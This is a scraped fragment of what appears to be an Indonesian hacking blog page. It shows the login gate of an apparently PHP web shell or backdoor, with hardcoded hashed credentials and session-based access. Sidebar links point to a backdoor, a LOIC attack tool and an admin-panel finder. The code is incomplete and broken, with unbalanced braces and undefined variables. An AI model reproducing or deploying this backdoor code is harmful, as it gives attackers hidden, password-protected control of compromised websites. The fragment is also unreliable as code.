<tr><td height="141">
<p class="head"> </p></td>
</tr>
<form action=# method=post>
<tr><th height=100 valign=top>Username    <Input type=text name=uname>
<br>
Password     <input type=password name=pass>
<br>
<input type=submit value=submit>
</td>
</form>
</tr>
<tr><td></td>
</tr>

</table>

<?php
$user='20e0c268da73941f650bff276e39150e';
$pass='fcea920f7412b5da7be0cf42b8c93759';

if($cuser==$user && $puser==$pass)
{$_SESSION['a']=$_POST['uname'];
header('location:'.$self);}} ?>
<style>
#submit {color:#ff6600;outline:none;text-decoration:none;}
a {color:#fff;outline:none;text-decoration:none;}
a:hover{text-decoration:none;}
.head {
color: #ffffff;
font-weight: bold;
}
.tab
{
border-color:#336666;
border:double;
}
.hd
{
color:#33CCCC;
border-color:#2A2A2A;
border:double;
}
.li{
color: #33CCCC;
text-decoration:none;

}
.lin
{
background-color: #33CCCC;
text-decoration:none;

}
input
{
font-family: verdana, arial, sans-serif;
font-size: 100%;
color: #000000;
border: #000333 2px solid;
background-color: #33CCCC; //tan
border-color: brown;

}
textarea
{
font-family: verdana, arial, sans-serif;
font-size: 100%;
color: #000000;
border: #000333 2px solid;
background-color: #33CCCC; //tan
border-color: brown;

}
</style>

›—‑»

Source Cod3 Web LOIC Anonymous

Admin Finder

Ugdevilz Backdoor

Populer Post

Arsip Blog

Pengikut

Total Pageviews

About Me

Categories

Recent Comments

Popular Posts